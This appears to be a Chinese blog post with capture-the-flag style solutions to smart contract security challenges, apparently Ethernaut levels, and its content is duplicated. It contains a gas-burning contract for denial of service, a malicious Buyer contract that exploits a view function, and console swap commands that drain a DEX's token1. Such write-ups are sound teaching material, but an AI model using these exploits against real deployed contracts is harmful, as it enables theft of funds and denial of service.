
Subscribe to hujiawei

Subscribe to hujiawei
Share Dialog
Share Dialog
<100 subscribers
<100 subscribers
1.在 Remix 上部署GasBurner并复制它的地址(见下图位置),代码如下:
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract GasBurner {
uint256 n;
function burn() internal {
while (gasleft() > 0) {
n += 1;
}
}
receive() external payable {
burn();
}
}

2.浏览器中输入以下代码:
await contract.setWithdrawPartner('部署的合约地址')
任务结束。
Buyer在 Remix 中编写恶意代码:
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
interface IShop {
function buy() external;
function isSold() external view returns (bool);
function price() external view returns (uint);
}
contract Buyer {
function price() external view returns (uint) {
bool isSold = IShop(msg.sender).isSold();
uint askedPrice = IShop(msg.sender).price();
if (!isSold) {
return askedPrice;
}
return 0;
}
function buyFromShop(address _shopAddr) public {
IShop(_shopAddr).buy();
}
}
获取地址Shop:
contract.address
// Output: <your-instance-address>
在下图中填入,确认后提交 测试。 测试22 跳入控制台。首先批准合同以转移您的代币,并提供足够大的津贴,这样我们就不必一次又一次地批准。500的津贴应该绰绰有余: await contract.approve(contract.address, 500)
获取令牌地址: t1 = await contract.token1()
t2 = await contract.token2()
现在对上面的表行一一对应执行 7 次交换: await contract.swap(t1, t2, 10)
await contract.swap(t2, t1, 20)
await contract.swap(t1, t2, 24)
await contract.swap(t2, t1, 30)
await contract.swap(t1, t2, 41)
await contract.swap(t2, t1, 45)
token1被抽干了!通过以下方式验证: await contract.balanceOf(t1, instance).then(v => v.toString())
// Output: '0'
任务结束。
1.在 Remix 上部署GasBurner并复制它的地址(见下图位置),代码如下:
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract GasBurner {
uint256 n;
function burn() internal {
while (gasleft() > 0) {
n += 1;
}
}
receive() external payable {
burn();
}
}

2.浏览器中输入以下代码:
await contract.setWithdrawPartner('部署的合约地址')
任务结束。
Buyer在 Remix 中编写恶意代码:
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
interface IShop {
function buy() external;
function isSold() external view returns (bool);
function price() external view returns (uint);
}
contract Buyer {
function price() external view returns (uint) {
bool isSold = IShop(msg.sender).isSold();
uint askedPrice = IShop(msg.sender).price();
if (!isSold) {
return askedPrice;
}
return 0;
}
function buyFromShop(address _shopAddr) public {
IShop(_shopAddr).buy();
}
}
获取地址Shop:
contract.address
// Output: <your-instance-address>
在下图中填入,确认后提交 测试。 测试22 跳入控制台。首先批准合同以转移您的代币,并提供足够大的津贴,这样我们就不必一次又一次地批准。500的津贴应该绰绰有余: await contract.approve(contract.address, 500)
获取令牌地址: t1 = await contract.token1()
t2 = await contract.token2()
现在对上面的表行一一对应执行 7 次交换: await contract.swap(t1, t2, 10)
await contract.swap(t2, t1, 20)
await contract.swap(t1, t2, 24)
await contract.swap(t2, t1, 30)
await contract.swap(t1, t2, 41)
await contract.swap(t2, t1, 45)
token1被抽干了!通过以下方式验证: await contract.balanceOf(t1, instance).then(v => v.toString())
// Output: '0'
任务结束。
No activity yet